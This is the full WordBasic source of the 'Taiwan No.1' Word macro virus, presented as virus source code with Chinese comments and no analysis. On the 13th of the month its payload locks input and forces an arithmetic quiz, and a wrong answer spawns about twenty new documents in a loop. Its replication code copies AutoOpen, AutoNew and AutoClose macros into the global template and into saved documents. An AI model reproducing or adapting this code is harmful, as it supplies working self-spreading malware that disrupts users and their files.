Taiwan No.1 病毒原始码
Dim Shared nm(4)
Sub MAIN
DisableInput 1
If Day(Now()) = 13 Then
try:
On Error Goto 0
On Error Goto try
test = - 1
con = 1
tog$ = ""
i = 0
While test = - 1
For i = 0 To 4
nm(i) = Int(Rnd() * 10000)
con = (con * nm(i))
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + " =?"
Goto beg
End If
tog$ = tog$ + Str$(nm(i)) + " *"
Next i
rem 随机选出四个千位数, 以便等一下的游戏
beg:
Beep
rem 电脑发出" 哔 "一声
ans$ = InputBox$("今天是 " + Date$() + " ,跟你玩一个心算游戏"
+ Chr$(13) + /
"若你答错,只好接受震撼教育.............." + Chr$(13) + /
tog$, "台湾 NO.1 Macro Virus")
rem 开个对话盒, 以便输入解答用
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
MsgBox "恭贺你答对了,按确定就告诉你想知道的....", /
"台湾 NO.1 Macro Virus"
FileNewDefault
CenterPara
FormatFont .Font = "细明体", .Points = 16, .Bold = 1, .Underline = 1
Beep
Insert "何谓巨集病毒?"
InsertPara
Beep
Insert "答案:"
Italic 1
Insert "我就是....."
InsertPara
InsertPara
Italic 0
FormatFont .Font = "细明体", .Points = 16, .Bold = 1, .Underline = 1
Beep
Insert "如何预防巨集病毒?"
InsertPara
Beep
Insert "答案:"
Italic 1
Insert "不要看我....."
Goto exit
Else
For j = 1 To 20
Beep
FileNewDefault
Next j
CenterPara
FormatFont .Font = "细明体", .Points = 16, .Bold = 1, .Underline = 1
Insert "巨集病毒"
Goto try
End If
Wend
End If
nor = CountMacros(0)
If nor > 0 Then
For kk = 1 To nor
If MacroName$(kk, 0) = "AutoOpen" Then t = 1
End If
Next kk
End If
file$ = FileName$()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
MacroCopy filem$, "AutoOpen"
MacroCopy filem$, "AutoNew"
MacroCopy filem$, "AutoClose"
End If
nor1 = CountMacros(1)
If nor1 > 0 Then
For kkk = 1 To nor1
If MacroName$(kkk, 1) = "AutoOpen" Then tt = 1
End If
Next kkk
End If
If tt <> 1 Then
FileSaveAs .Format = 1
MacroCopy "AutoOpen", filem$
End If
exit:
End Sub